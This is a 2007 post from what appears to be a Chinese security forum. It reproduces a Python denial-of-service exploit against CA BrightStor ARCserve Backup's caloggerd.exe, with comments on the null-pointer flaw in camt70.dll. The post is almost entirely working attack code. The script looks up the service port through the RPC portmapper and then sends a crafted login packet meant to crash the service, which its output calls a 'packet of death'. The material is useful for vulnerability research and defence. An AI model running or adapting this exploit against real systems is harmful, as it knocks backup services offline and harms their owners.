CA BrightStor Backup 11.5.2.0 caloggderd.exe Denial of Service Exploit

ring04h

团队执行官

Rank: 8 Rank: 8

E.S.T核心成员社区主管

帖子: 3923
精华: 128
积分: 209640
阅读权限: 200
性别: 男
在线时间: 1096 小时
注册时间: 2007-10-23
最后登录: 2008-7-23

资料收集奖运营支持奖

发短消息
加为好友
当前离线

楼主大中小发表于 2007-5-23 12:09 只看该作者

CA BrightStor Backup 11.5.2.0 caloggderd.exe Denial of Service Exploit

复制内容到剪贴板

代码:

#!/usr/bin/python

#

# Computer Associates (CA) Brightstor Backup caloggderd.exe DoS (camt70.dll)

# (Previously Unknown)

# 

# There is an issue in camt70.dll when caloggerd is processing a hostname for a login operation.

# When processing the string, if a null is passed in as an argument, it will be loaded into ESI

# and then loaded into EDI in which the string processing will read a null memory location.

# 

# .text:0032ADD0 push  ecx

# .text:0032ADD1 mov   eax, [esp+4+arg_4]

# .text:0032ADD5 push  esi

# .text:0032ADD6 mov   esi, [esp+8+arg_8] <--null gets loaded

# .text:0032ADDA push  edi

# .text:0032ADDB mov   edx, [eax]

# .text:0032ADDD mov   edi, esi    <-- EDI gets set to nulls

# .text:0032ADDF or   ecx, 0FFFFFFFFh

# .text:0032ADE2 xor   eax, eax

# .text:0032ADE4 repne scasb

#

# This was tested on BrightStor ARCserve Backup 11.5.2.0 (SP2) with the latest 

# CA patches on Windows XP SP2 

#

# CA has been notified

#

# Author: M. Shirk 

#

# (c) Copyright 2007 (Shirkdog Security) shirkdog_list $ at % hotmail dot com 

#

# Use at your own Risk: You have been warned 

#------------------------------------------------------------------------



import os

import sys

import time

import socket

import struct



#------------------------------------------------------------------------



# RPC GetPort request for caloggerd

rpc_portmap_req="\x80\x00\x00\x38\x21\x84\xf7\xc9\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa0\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x09\x82\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00"





# Begining of RPC Packet

packet="\x80\x00\x00\x58\x31\x46\xD3\xB9\x00\x00\x00\x00\x00\x00\x00\x02"



# Prog ID (caloggerd)

packet+="\x00\x06\x09\x82"



# Operation number 1

packet+="\x00\x00\x00\x01\x00\x00\x00\x01"



# Nulls

packet+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"



# Size of hostname, used in the Login

packet+="\x00\x00\x00\x22" 



# Hostname, which apparently with the size and the nulls, causes the DoS

packet+="\x41\x41\x41\x41"*8

packet+="\x41\x41\x00\x00"

packet+="\xff\xff\xff\xff"



#------------------------------------------------------------------------



def GetCALoggerPort(target):

  sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

  sock.connect((target,111))

  sock.send(rpc_portmap_req)

  rec = sock.recv(256)

  sock.close()



  port1 = rec[-4]

  port2 = rec[-3]

  port3 = rec[-2]

  port4 = rec[-1]  

  

  port1 = hex(ord(port1))

  port2 = hex(ord(port2))

  port3 = hex(ord(port3))

  port4 = hex(ord(port4))

  port = &#39;%02x%02x%02x%02x&#39; % (int(port1,16),int(port2,16),int(port3,16),int(port4,16))

  port = int(port,16)



  print &#39;[+] Sending TCP Packet of Death to Target: %s Port: %s&#39; % (target,port)

  ExploitCALoggerd(target,port)





def ExploitCALoggerd(target,port):

  sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

  sock.connect((target,port))

  sock.send(packet)

  sock.close()

  print &#39;[+] Done...\n[+] caloggerd.exe is dead\n[+] ... or it will die in a few seconds for you inpatient bastards\n&#39;





if __name__=="__main__":

    try:

        target = sys.argv[1]

    except IndexError:

    print &#39;[+] Computer Associates (CA) Brightstor Backup caloggerd.exe DoS (camt70.dll)&#39;

        print &#39;[+] Author: Shirkdog&#39;

          print &#39;[+] Usage: %s <target ip>\n&#39; % sys.argv[0]

          sys.exit(-1)



    print &#39;[+] Computer Associates (CA) Brightstor Backup caloggerd.exe DoS (camt70.dll)&#39;

    print &#39;[+] Author: Shirkdog&#39;



    GetCALoggerPort(target)

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » CA BrightStor Backup 11.5.2.0 caloggderd.exe Denial of Service Exploit